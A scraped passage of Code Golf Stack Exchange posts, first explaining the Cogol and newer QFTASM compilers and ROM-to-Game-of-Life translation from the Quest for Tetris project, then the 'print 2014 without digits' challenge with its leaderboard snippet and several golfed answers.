"COBOL" and an acronym for "C of Game of Life", although it is worth noting that Cogol is to C what our computer is to an actual computer. Cogol exists at a level just above assembly language. Generally, most lines in a Cogol program each correspond to a single line of assembly, but there are some important features of the language: * Basic features include named variables with assignments and operators that have more readable syntax. For example, `ADD A1 A2 3` becomes `z = x + y;`, with the compiler mapping variables onto addresses. * Looping constructs such as `if(){}`, `while(){}`, and `do{}while();` so the compiler handles branching. * One-dimensional arrays (with pointer arithmetic), which are used for the Tetris board. * Subroutines and a call stack. These are useful for preventing duplication of large chunks of code, and for supporting recursion. The compiler (which I wrote from scratch) is very basic/naive, but I've attempted to hand-optimize several of the language constructs to achieve a short compiled program length. Here are some short overviews of how various language features work: **Tokenization** The source code is tokenized linearly (single-pass), using simple rules about which characters are allowed to be adjacent within a token. When a character is encountered that cannot be adjacent to the last character of the current token, the current token is deemed complete and the new character begins a new token. Some characters (such as `{` or `,`) cannot be adjacent to any other characters and are therefore their own token. Others (like `>` or `=`) are only allowed to be adjacent to other characters within their class, and can thus form tokens like `>>>`, `==`, or `>=`, but not like `=2`. Whitespace characters force a boundary between tokens but aren't themselves included in the result. The most difficult character to tokenize is `-` because it can both represent subtraction and unary negation, and thus requires some special-casing. **Parsing** Parsing is also done in a single-pass fashion. The compiler has methods for handling each of the different language constructs, and tokens are popped off of the global token list as they are consumed by the various compiler methods. If the compiler ever sees a token that it does not expect, it raises a syntax error. **Global Memory Allocation** The compiler assigns each global variable (word or array) its own designated RAM address(es). It is necessary to declare all variables using the keyword `my` so that the compiler knows to allocate space for it. Much cooler than named global variables is the scratch address memory management. Many instructions (notably conditionals and many array accesses) require temporary "scratch" addresses to store intermediate calculations. During the compilation process the compiler allocates and de-allocates scratch addresses as necessary. If the compiler needs more scratch addresses, it will dedicate more RAM as scratch addresses. I believe it's typical for a program to only require a few scratch addresses, although each scratch address will be used many times. **`IF-ELSE` Statements** The syntax for `if-else` statements is the standard C form: ``` other code if (cond) { first body } else { second body } other code ``` When converted to QFTASM, the code is arranged like this: ``` other code condition test conditional jump first body unconditional jump second body (conditional jump target) other code (unconditional jump target) ``` If the first body is executed, the second body is skipped over. If the first body is skipped over, the second body is executed. In the assembly, a condition test is usually just a subtraction, and the sign of the result determines whether to make the jump or execute the body. An `MLZ` instruction is used to handle inequalities such as `>` or `<=`. An `MNZ` instruction is used to handle `==`, since it jumps over the body when the difference is not zero (and therefore when the arguments are not equal). Multi-expression conditionals are not currently supported. If the `else` statement is omitted, the unconditional jump is also omitted, and the QFTASM code looks like this: ``` other code condition test conditional jump body other code (conditional jump target) ``` **`WHILE` Statements** The syntax for `while` statements is also the standard C form: ``` other code while (cond) { body } other code ``` When converted to QFTASM, the code is arranged like this: ``` other code unconditional jump body (conditional jump target) condition test (unconditional jump target) conditional jump other code ``` The condition testing and conditional jump are at the end of the block, which means they are re-executed after each execution of the block. When the condition is returns false the body is not repeated and the loop ends. During the start of loop execution, control flow jumps over the loop body to the condition code, so the body is never executed if the condition is false the first time. An `MLZ` instruction is used to handle inequalities such as `>` or `<=`. Unlike during `if` statements, an `MNZ` instruction is used to handle `!=`, since it jumps to the body when the difference is not zero (and therefore when the arguments are not equal). **`DO-WHILE` Statements** The only difference between `while` and `do-while` is that the a `do-while` loop body is not initially skipped over so it is always executed at least once. I generally use `do-while` statements to save a couple lines of assembly code when I know the loop will never need to be skipped entirely. **Arrays** One-dimensional arrays are implemented as contiguous blocks of memory. All arrays are fixed-length based on their declaration. Arrays are declared like so: ``` my alpha[3]; # empty array my beta[11] = {3,2,7,8}; # first four elements are pre-loaded with those values ``` For the array, this is a possible RAM mapping, showing how addresses 15-18 are reserved for the array: ``` 15: alpha 16: alpha[0] 17: alpha[1] 18: alpha[2] ``` The address labeled `alpha` is filled with a pointer to the location of `alpha[0]`, so in thie case address 15 contains the value 16. The `alpha` variable can be used inside of the Cogol code, possibly as a stack pointer if you want to use this array as a stack. Accessing the elements of an array is done with the standard `array[index]` notation. If the value of `index` is a constant, this reference is automatically filled in with the absolute address of that element. Otherwise it performs some pointer arithmetic (just addition) to find the desired absolute address. It is also possible to nest indexing, such as `alpha[beta[1]]`. **Subroutines and Calling** Subroutines are blocks of code that can be called from multiple contexts, preventing duplication of code and allowing for the creation of recursive programs. Here is a program with a recursive subroutine to generate Fibonacci numbers (basically the slowest algorithm): ``` # recursively calculate the 10th Fibonacci number call display = fib(10).sum; sub fib(cur,sum) { if (cur <= 2) { sum = 1; return; } cur--; call sum = fib(cur).sum; cur--; call sum += fib(cur).sum; } ``` A subroutine is declared with the keyword `sub`, and a subroutine can be placed anywhere inside the program. Each subroutine can have multiple local variables, which are declared as part of its list of arguments. These arguments can also be given default values. In order to handle recursive calls, the local variables of a subroutine are stored on the stack. The last static variable in RAM is the call stack pointer, and all memory after that serves as the call stack. When a subroutine is called, it created a new frame on the call stack, which includes all local variables as well as the return (ROM) address. Each subroutine in the program is given a single static RAM address to serve as a pointer. This pointer gives the location of the "current" call of the subroutine in the call stack. Referencing a local variable is done using the value of this static pointer plus an offset to give the address of that particular local variable. Also contained in the call stack is the previous value of the static pointer. Here's the variables mapping of both the static RAM and the subroutine call frame for the above program: ``` RAM map: 0: pc 1: display 2: scratch0 3: fib 4: scratch1 5: scratch2 6: scratch3 7: call fib map: 0: return 1: previous_call 2: cur 3: sum ``` One thing that is interesting about subroutines is that they do not return any particular value. Rather, all of the local variables of the subroutine can be read after the subroutine is performed, so a variety of data can be extracted from a subroutine call. This is accomplished by storing the pointer for that specific call of the subroutine, which can then be used to recover any of the local variables from within the (recently-deallocated) stack frame. There are multiple ways to call a subroutine, all using the `call` keyword: ``` call fib(10); # subroutine is executed, no return vaue is stored call pointer = fib(10); # execute subroutine and return a pointer display = pointer.sum; # access a local variable and assign it to a global variable call display = fib(10).sum; # immediately store a return value call display += fib(10).sum; # other types of assignment operators can also be used with a return value ``` Any number of values can be given as arguments for a subroutine call. Any argument not provided will be filled in with its default value, if any. An argument that is not provided and has no default value is not cleared (to save instructions/time) so could potentially take on any value at the start of the subroutine. Pointers are a way of accessing multiple local variables of subroutine, although it is important to note that the pointer is only temporary: the data the pointer points to will be destroyed when another subroutine call is made. **Debugging Labels** Any `{...}` code block in a Cogol program can be preceded by a multi-word descriptive label. This label is attached as a comment in the compiled assembly code, and can be very useful for debugging since it makes it easier to locate specific chunks of code. **Branch Delay Slot Optimization** In order to improve the speed of the compiled code, the Cogol compiler performs some really basic delay slot optimization as a final pass over the QFTASM code. For any unconditional jump with an empty branch delay slot, the delay slot can be filled by the first instruction at the jump destination, and the jump destination is incremented by one to point to the next instruction. This generally saves one cycle each time an unconditional jump is performed. ### Writing the Tetris code in Cogol The final Tetris program was written in Cogol, and the source code is available [here](https://github.com/QuestForTetris/Cogol/blob/master/tetris.cgl). The compiled QFTASM code is available [here](https://github.com/QuestForTetris/Cogol/blob/master/tetris.qftasm). For convenience, a permalink is provided here: [Tetris in QFTASM](http://play.starmaninnovations.com/qftasm/#jllHdnBGSP). Since the goal was to golf the assembly code (not the Cogol code), the resultant Cogol code is unwieldy. Many portions of the program would normally be located in subroutines, but those subroutines were actually short enough that duplicating the code saved instructions over the `call` statements. The final code only has one subroutine in addition to the main code. Additionally, many arrays were removed and replaced either with an equivalently-long list of individual variables, or by a lot of hard-coded numbers in the program. The final compiled QFTASM code is under 300 instructions, although it is only slightly longer than the Cogol source itself. [Answer] # Part 5: Assembly, Translation, and the Future With our assembly program from the compiler, it's time to assemble a ROM for the Varlife computer, and translate everything into a big GoL pattern! ## Assembly Assembling the assembly program into a ROM is done in much the same way as in traditional programming: each instruction is translated into a binary equivalent, and those are then concatenated into a large binary blob that we call an executable. For us, the only difference is, that binary blob needs to be translated into Varlife circuits and attached to the computer. K Zhang wrote [CreateROM.py](https://github.com/QuestForTetris/QFT/blob/master/CreateROM.py), a Python script for Golly that does the assembly and translation. It's fairly straightforward: it takes an assembly program from the clipboard, assembles it into a binary, and translates that binary into circuitry. Here's an example with a simple primality tester included with the script: ``` #0. MLZ -1 3 3; #1. MLZ -1 7 6; preloadCallStack #2. MLZ -1 2 1; beginDoWhile0_infinite_loop #3. MLZ -1 1 4; beginDoWhile1_trials #4. ADD A4 2 4; #5. MLZ -1 A3 5; beginDoWhile2_repeated_subtraction #6. SUB A5 A4 5; #7. SUB 0 A5 2; #8. MLZ A2 5 0; #9. MLZ 0 0 0; endDoWhile2_repeated_subtraction #10. MLZ A5 3 0; #11. MNZ 0 0 0; endDoWhile1_trials #12. SUB A4 A3 2; #13. MNZ A2 15 0; beginIf3_prime_found #14. MNZ 0 0 0; #15. MLZ -1 A3 1; endIf3_prime_found #16. ADD A3 2 3; #17. MLZ -1 3 0; #18. MLZ -1 1 4; endDoWhile0_infinite_loop ``` This produces the following binary: ``` 0000000000000001000000000000000000010011111111111111110001 0000000000000000000000000000000000110011111111111111110001 0000000000000000110000000000000000100100000000000000110010 0000000000000000010100000000000000110011111111111111110001 0000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000011110100000000000000100000 0000000000000000100100000000000000110100000000000001000011 0000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000110100000000000001010001 0000000000000000000000000000000000000000000000000000000001 0000000000000000000000000000000001010100000000000000100001 0000000000000000100100000000000001010000000000000000000011 0000000000000001010100000000000001000100000000000001010011 0000000000000001010100000000000000110011111111111111110001 0000000000000001000000000000000000100100000000000001000010 0000000000000001000000000000000000010011111111111111110001 0000000000000000010000000000000000100011111111111111110001 0000000000000001100000000000000001110011111111111111110001 0000000000000000110000000000000000110011111111111111110001 ``` When translated to Varlife circuits, it looks like this: [![ROM](https://i.stack.imgur.com/CD9IM.png)](https://i.stack.imgur.com/CD9IM.png) [![closeup ROM](https://i.stack.imgur.com/1FwrJ.png)](https://i.stack.imgur.com/1FwrJ.png) The ROM is then linked up with the computer, which forms a fully functioning program in Varlife. But we're not done yet... ## Translation to Game of Life This whole time, we've been working in various layers of abstraction above the base of Game of Life. But now, it's time to pull back the curtain of abstraction and translate our work into a Game of Life pattern. As previously mentioned, we are using the [OTCA Metapixel](http://www.conwaylife.com/w/index.php?title=OTCA_metapixel) as the base for Varlife. So, the final step is to convert each cell in Varlife to a metapixel in Game of Life. Thankfully, Golly comes with a script ([metafier.py](https://sourceforge.net/p/golly/code/ci/master/tree/Scripts/Python/metafier.py)) that can convert patterns in different rulesets to Game of Life patterns via the OTCA Metapixel. Unfortunately, it is only designed to convert patterns with a single global ruleset, so it doesn't work on Varlife. I wrote a [modified version](https://github.com/QuestForTetris/QFT/blob/master/metafier.py) that addresses that issue, so that the rule for each metapixel is generated on a cell-by-cell basis for Varlife. So, our computer (with the Tetris ROM) has a bounding box of 1,436 x 5,082. Of the 7,297,752 cells in that box, 6,075,811 are empty space, leaving an actual population count of 1,221,941. Each of those cells needs to be translated into an OTCA metapixel, which has a bounding box of 2048x2048 and a population of either 64,691 (for an ON metapixel) or 23,920 (for an OFF metapixel). That means the final product will have a bounding box of 2,940,928 x 10,407,936 (plus a few thousand extra for the borders of the metapixels), with a population between 29,228,828,720 and 79,048,585,231. With 1 bit per live cell, that's between 27 and 74 GiB needed to represent the entire computer and ROM. I included those calculations here because I neglected to run them before starting the script, and very quickly ran out of memory on my computer. After a panicked `kill` command, I made a modification to the metafier script. Every 10 lines of metapixels, the pattern is saved to disk (as a gzipped RLE file), and the grid is flushed. This adds extra runtime to the translation and uses more disk space, but keeps memory usage within acceptable limits. Because Golly uses an extended RLE format that includes the location of the pattern, this doesn't add any more complexity to the loading of the pattern - just open all of the pattern files on the same layer. K Zhang built off of this work, and created a [more efficient metafier script](https://github.com/QuestForTetris/QFT/blob/master/MetafierV2.py) that utilizes the MacroCell file format, which is loads more efficient than RLE for large patterns. This script runs considerably faster (a few seconds, compared to multiple hours for the original metafier script), creates vastly smaller output (121 KB versus 1.7 GB), and can metafy the entire computer and ROM in one fell swoop without using a massive amount of memory. It takes advantage of the fact that MacroCell files encode trees that describe the patterns. By using a custom template file, the metapixels are pre-loaded into the tree, and after some computations and modifications for neighbor detection, the Varlife pattern can simply be appended. The pattern file of the entire computer and ROM in Game of Life can be found [here](https://github.com/QuestForTetris/QFT/blob/master/TetrisOTCAMP.mc.gz). --- # The Future of the Project Now that we've made Tetris, we're done, right? Not even close. We have several more goals for this project that we are working towards: * muddyfish and Kritixi Lithos are continuing work on the higher-level language that compiles to QFTASM. * El'endia Starman is working on upgrades to the online QFTASM interpreter. * quartata is working on a GCC backend, which will allow compilation of freestanding C and C++ code (and potentially other languages, like Fortran, D, or Objective-C) into QFTASM via GCC. This will allow for more sophisticated programs to be created in a more familiar language, albeit without a standard library. * One of the biggest hurdles that we have to overcome before we can make more progress is the fact that our tools can't emit position-independent code (e.g. relative jumps). Without PIC, we can't do any linking, and so we miss out on the advantages that come from being able to link to existing libraries. We're working on trying to find a way to do PIC correctly. * We are discussing the next program that we want to write for the QFT computer. Right now, Pong looks like a nice goal. [Answer] # Part 6: The Newer Compiler to QFTASM Although Cogol is sufficient for a rudimentary Tetris implementation, it is too simple and too low-level for general-purpose programming at an easily readable level. We began work on a new language in September 2016. Progress on the language was slow due to hard to understand bugs as well as real life. We built a low level language with similar syntax to Python, including a simple type system, subroutines supporting recursion and inline operators. The compiler from text to QFTASM was created with 4 steps: the tokeniser, the grammar tree, a high level compiler and a low level compiler. ## The tokeniser Development was started using Python using the built in tokeniser library, meaning this step was pretty simple. Only a few changes to the default output were required, including stripping comments (but not `#include`s). ## The grammar tree The grammar tree was created to be easily extendible without having to modify any source code. The tree structure is stored in an XML file which includes the structure of the nodes that can make up the tree and how they're made up with other nodes and tokens. The grammar needed to support repeated nodes as well as optional ones. This was achieved by introducing meta tags to describe how tokens were to be read. The tokens that are generated then get parsed through the rules of the grammar such that the output forms a tree of grammar elements such as `sub`s and `generic_variables`, which in turn contain other grammar elements and tokens. ## Compilation into high level code Each feature of the language needs to be able to be compiled into high level constructs. These include `assign(a, 12)` and `call_subroutine(is_prime, call_variable=12, return_variable=temp_var)`. Features such as the inlining of elements are executed in this segment. These are defined as `operator`s and are special in that they're inlined every time an operator such as `+` or `%` are used. Because of this, they're more restricted than regular code - they can't use their own operator nor any operator that relies on the one being defined. During the inlining process, the internal variables are replaced with the ones being called. This in effect turns ``` operator(int a + int b) -> int c return __ADD__(a, b) int i = 3+3 ``` into ``` int i = __ADD__(3, 3) ``` This behaviour however can be detrimental and bug prone if the input variable and output variables point to the same location in memory. To use 'safer' behaviour, the `unsafe` keyword adjusts the compilation process such that additional variables are created and copied to and from the inline as needed. ### Scratch variables and complex operations Mathematical operations such as `a += (b + c) * 4` cannot be calculated without using extra memory cells. The high level compiler deals with this by seperating the operations into different sections: ``` scratch_1 = b + c scratch_1 = scratch_1 * 4 a = a + scratch_1 ``` This introduces the concept of scratch variables which are used for storing intermediate information of calculations. They're allocated as required and deallocated into the general pool once finished with. This decreases the number of scratch memory locations required for use. Scratch variables are considered globals. Each subroutine has its own VariableStore to keep a reference to all of the variables the subroutine uses as well as their type. At the end of the compilation, they're translated into relative offsets from the start of the store and then given actual addresses in RAM. ### RAM Structure ``` Program counter Subroutine locals Operator locals (reused throughout) Scratch variables Result variable Stack pointer Stack ... ``` ## Low level compilation The only things the low level compiler has to deal with are `sub`, `call_sub`, `return`, `assign`, `if` and `while`. This is a much reduced list of tasks that can be translated into QFTASM instructions more easily. ### `sub` This locates the start and end of a named subroutine. The low level compiler adds labels and in the case of the `main` subroutine, adds an exit instruction (jump to end of ROM). ### `if` and `while` Both the `while` and `if` low level interpreters are pretty simple: they get pointers to their conditions and jump depending on them. `while` loops are slightly different in that they're compiled as ``` ... condition jump to check code condition if condtion: jump to code ... ``` ### `call_sub` and `return` Unlike most architectures, the computer we're compiling for doesn't have hardware support for pushing and popping from a stack. This means that both pushing and popping from the stack take two instructions. In the case of popping, we decrement the stack pointer and copy the value to an address. In the case of pushing, we copy a value from an address to the address at the current stack pointer and then incrementing. All the locals for a subroutine are stored at a fixed location in RAM determined at compile time. To make recursion work, all the locals for a function are placed onto the stack at the start of a call. Then the arguments to the subroutine are copied to their position in the local store. The value of the return address is put onto the stack and the subroutine executes. When a `return` statement is encountered, the top of the stack is popped off and the program counter is set to that value. The values for the locals of the calling subroutine are the popped off the stack and into their previous position. ### `assign` Variable assignments are the easiest things to compile: they take a variable and a value and compile into the single line: `MLZ -1 VALUE VARIABLE` ### Assigning jump targets Finally, the compiler works out the jump targets for labels attached to instructions. The absolute position of labels is determined and then references to those labels are replaced with those values. Labels themselves are removed from the code and finally instruction numbers are added to the compiled code. ## Example step by step compilation Now that we've gone through all the stages, let's go through an actual compilation process for an actual program, step by step. ``` #include stdint sub main int a = 8 int b = 12 int c = a * b ``` Ok, simple enough. It should be obvious that at the end of the program, `a = 8`, `b = 12`, `c = 96`. Firstly, lets include the relevant parts of `stdint.txt`: ``` operator (int a + int b) -> int return __ADD__(a, b) operator (int a - int b) -> int return __SUB__(a, b) operator (int a < int b) -> bool bool rtn = 0 rtn = __MLZ__(a-b, 1) return rtn unsafe operator (int a * int b) -> int int rtn = 0 for (int i = 0; i < b; i+=1) rtn += a return rtn sub main int a = 8 int b = 12 int c = a * b ``` Ok, slightly more complicated. Let's move onto the tokeniser and see what comes out. At this stage, we'll only have a linear flow of tokens without any form of structure ``` NAME NAME operator LPAR OP ( NAME NAME int NAME NAME a PLUS OP + NAME NAME int NAME NAME b RPAR OP ) OP OP -> NAME NAME int NEWLINE NEWLINE INDENT INDENT NAME NAME return NAME NAME __ADD__ LPAR OP ( NAME NAME a COMMA OP , NAME NAME b RPAR OP ) ... ``` Now all the tokens get put through the grammar parser and outputs a tree with the names of each of the sections. This shows the high level structure as read by the code. ``` GrammarTree file 'stmts': [GrammarTree stmts_0 '_block_name': 'inline' 'inline': GrammarTree inline '_block_name': 'two_op' 'type_var': GrammarTree type_var '_block_name': 'type' 'type': 'int' 'name': 'a' '_global': False 'operator': GrammarTree operator '_block_name': '+' 'type_var_2': GrammarTree type_var '_block_name': 'type' 'type': 'int' 'name': 'b' '_global': False 'rtn_type': 'int' 'stmts': GrammarTree stmts ... ``` This grammar tree sets up information to be parsed by the high level compiler. It includes information such as structure types and attributes of a variable. The grammar tree then takes this information and assigns the variables that are needed for the subroutines. The tree also inserts all the inlines. ``` ('sub', 'start', 'main') ('assign', int main_a, 8) ('assign', int main_b, 12) ('assign', int op(*:rtn), 0) ('assign', int op(*:i), 0) ('assign', global bool scratch_2, 0) ('call_sub', '__SUB__', [int op(*:i), int main_b], global int scratch_3) ('call_sub', '__MLZ__', [global int scratch_3, 1], global bool scratch_2) ('while', 'start', 1, 'for') ('call_sub', '__ADD__', [int op(*:rtn), int main_a], int op(*:rtn)) ('call_sub', '__ADD__', [int op(*:i), 1], int op(*:i)) ('assign', global bool scratch_2, 0) ('call_sub', '__SUB__', [int op(*:i), int main_b], global int scratch_3) ('call_sub', '__MLZ__', [global int scratch_3, 1], global bool scratch_2) ('while', 'end', 1, global bool scratch_2) ('assign', int main_c, int op(*:rtn)) ('sub', 'end', 'main') ``` Next, the low level compiler has to convert this high level representation into QFTASM code. Variables are assigned locations in RAM like so: ``` int program_counter int op(*:i) int main_a int op(*:rtn) int main_c int main_b global int scratch_1 global bool scratch_2 global int scratch_3 global int scratch_4 global int <result> global int <stack> ``` The simple instructions are then compiled. Finally, instruction numbers are added, resulting in executable QFTASM code. ``` 0. MLZ 0 0 0; 1. MLZ -1 12 11; 2. MLZ -1 8 2; 3. MLZ -1 12 5; 4. MLZ -1 0 3; 5. MLZ -1 0 1; 6. MLZ -1 0 7; 7. SUB A1 A5 8; 8. MLZ A8 1 7; 9. MLZ -1 15 0; 10. MLZ 0 0 0; 11. ADD A3 A2 3; 12. ADD A1 1 1; 13. MLZ -1 0 7; 14. SUB A1 A5 8; 15. MLZ A8 1 7; 16. MNZ A7 10 0; 17. MLZ 0 0 0; 18. MLZ -1 A3 4; 19. MLZ -1 -2 0; 20. MLZ 0 0 0; ``` # The Syntax Now that we've got the bare language, we've got to actually write a small program in it. We're using indentation like Python does, splitting logical blocks and control flow. This means whitespace is important for our programs. Every full program has a `main` subroutine that acts just like the `main()` function in C-like languages. The function is run at the start of the program. ## Variables and types When variables are defined the first time, they need to have a type associated with them. The currently defined types are `int` and `bool` with the syntax for arrays defined but not the compiler. ## Libraries and operators A library called `stdint.txt` is available which defines the basic operators. If this isn't included, even simple operators won't be defined. We can use this library with `#include stdint`. `stdint` defines operators such as `+`, `>>` and even `*` and `%`, neither of which are direct QFTASM opcodes. The language also allows QFTASM opcodes to be direct called with `__OPCODENAME__`. Addition in `stdint` is defined as ``` operator (int a + int b) -> int return __ADD__(a, b) ``` Which defines what the `+` operator does when given two `int`s. ]
[Question] [ > > *Note to challenge writers as per [meta consensus](http://meta.codegolf.stackexchange.com/q/11082/20260): > This question was well-received when it was posted, but challenges > like this, asking answerers to [Do X without using > Y](http://meta.codegolf.stackexchange.com/questions/8047/things-to-avoid-when-writing-challenges/8079?s=3%7C0.2404#8079) > are likely to be poorly received. Try using [the > sandbox](http://meta.codegolf.stackexchange.com/questions/2140/sandbox-for-proposed-challenges) > to get feedback on if you want to post a similar challenge.* > > > --- > > It's ~~[2017](https://codegolf.stackexchange.com/q/105241/7110)~~ ~~2018~~ ~~2019~~ ~~2020~~ ~~2021~~ ~~2022~~ ~~2023~~ 2024 already, folks, go home. > > > > > Woo, 10 years of this challenge! > > > So, now that it's 2014, it's time for a code question involving the number 2014. Your task is to make a program that prints the number `2014`, without using any of the characters `0123456789` in your code, and independently of any external variables such as the date or time or a random seed. The shortest code (counting in bytes) to do so in any language in which numbers are valid tokens wins. --- Leaderboard: ``` var QUESTION_ID=17005,OVERRIDE_USER=7110;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # [Python 2](https://docs.python.org/2/), 51 bytes ``` print sum(ord(c) for c in 'Happy new year to you!') ``` [Try it online!](https://tio.run/##BcHBDYAgDAXQVb4n4OoUrkEQAgfbppaYTl/fE7fJdEaILjK8@8msd24FgxUNi5CuKuKg/sF7VRjDeR@pRPw "Python 2 – Try It Online") Updated for 2015 thanks to @Frg: ``` print sum(ord(c) for c in 'A Happy New Year to You!') ``` [Try it online!](https://tio.run/##K6gsycjPM/r/v6AoM69Eobg0VyO/KEUjWVMhLb9IIVkhM09B3VHBI7GgoFLBL7VcITI1sUihJF8hMr9UUV3z/38A "Python 2 – Try It Online") Mouse over to see 2016 version: > > `print sum(ord(c) for c in 'Happy New Year to you!!!')` > > > [Try it online!](https://tio.run/##K6gsycjPM/r/v6AoM69Eobg0VyO/KEUjWVMhLb9IIVkhM09B3SOxoKBSwS@1XCEyNbFIoSRfoTK/VFFRUV3z/38A "Python 2 – Try It Online") [Answer] # Go, 2 bytes (UTF-16) One unicode character (2 bytes in UTF-16, 3 bytes in UTF-8 format), output 2014 as part of an error ``` — ``` <http://ideone.com/dRgKfk> ``` can't load package: package : prog.go:1:1: illegal character U+2014 '—' ``` [Answer] # Ruby, 15 ``` p Time.new.year ``` Temporary ;) --- Note that the section of the question > > independently of any external variables such as the date or time or a random seed > > > was not edited in until long after I posted my answer... --- Jan Dvorak offers a great alternative in [the comments](https://codegolf.stackexchange.com/questions/17005/produce-the-number-2014-without-any-numbers-in-your-source-code?answertab=votes#comment32251_17010): ``` Happy = Time Happy.new.year ``` But it's so unenthusiastic. I prefer: ``` Happy = Time class Time; alias year! year; end Happy.new.year! ``` Or even: ``` class Have; def self.a; A.new; end; end class A; def happy; Time; end; end class Time; alias year! year; end Have.a.happy.new.year! ``` And here's correct English punctuation: ``` def noop x = nil; end alias a noop alias happy noop alias new noop alias year! noop def Have x p Time.new.year end Have a happy new year! ``` Okay okay, I couldn't help it: ``` def noop x = nil; end eval %w[we wish you a merry christmas! christmas and a happy new].map{|x|"alias #{x} noop"}*"\n" def year!; p Time.new.year; end we wish you a merry christmas! we wish you a merry christmas! we wish you a merry christmas and a happy new year! ``` [Answer] # [Befunge-98 (FBBI)](https://github.com/catseye/FBBI), ~~17~~ ~~11~~ ~~9~~ 8 bytes ``` '-:*b-.@ ``` [Try it online!](https://tio.run/##S0pNK81LT9W1tPj/X13XSitJV8/h/38A "Befunge-98 (FBBI) – Try It Online") Similar to the old version, but I remembered about `'` ``` '-:* pushes 45, duplicates it, then squares it, producing 2025 b- subtracts 11 from it, resulting in 2014 .@ prints the result, then ends the program ``` Interestingly, \$45^2-11\$ is the only pairing of numbers a,b where $$(a,b)∈[32,126]\times[10,15]\land a^2-b=2014$$ The significance of those sets is that \$[32,126]\$ is the set of printable ascii characters and \$[10,15]\$ is the set of easily accessible Befunge numbers. I found that pair with [this python program](http://ideone.com/epPzBv): ``` for a in range(32,127): for c in range(10,16): if (a**2-c)==2014: print("%s,%s"%(a,c)) ``` --- Or, if your interpreter supports unicode, then this works: # Befunge 98 - 5 bytes (4 chars) ``` 'ߞ.@ ``` It at least works on <http://www.quirkster.com/iano/js/befunge.html> with the following code (Befunge 93 - 6 bytes / 5 chars): ``` "ߞ".@ ``` --- # [Befunge-98 (FBBI)](https://github.com/catseye/FBBI), 9 bytes Old version: ``` cdd**e-.@ ``` [Try it online!](https://tio.run/##S0pNK81LT9W1tPj/PzklRUsrVVfP4f9/AA "Befunge-98 (FBBI) – Try It Online") computes the number, then prints it: ``` cdd pushes numbers to the stack so that it is this: 12,13,13 ** multiplies top three values of stack, which is now: 2028 e pushes 14 - subtracts the top two values of the stack, resulting in: 2014 . prints the numerical value @ end of program ``` --- [Answer] # [Python 2](https://docs.python.org/2/), 26 bytes ``` print int('bbc',ord("\r")) ``` [Try it online!](https://tio.run/##K6gsycjPM/r/v6AoM69EAYg11JOSktV18otSNJRiipQ0Nf//BwA "Python 2 – Try It Online") [Answer] # [Mouse-2002](http://mouse.davidgsimpson.com/mouse2002/intro2002.html#Variables), 4 bytes. That's 4 bytes of pure, sweet 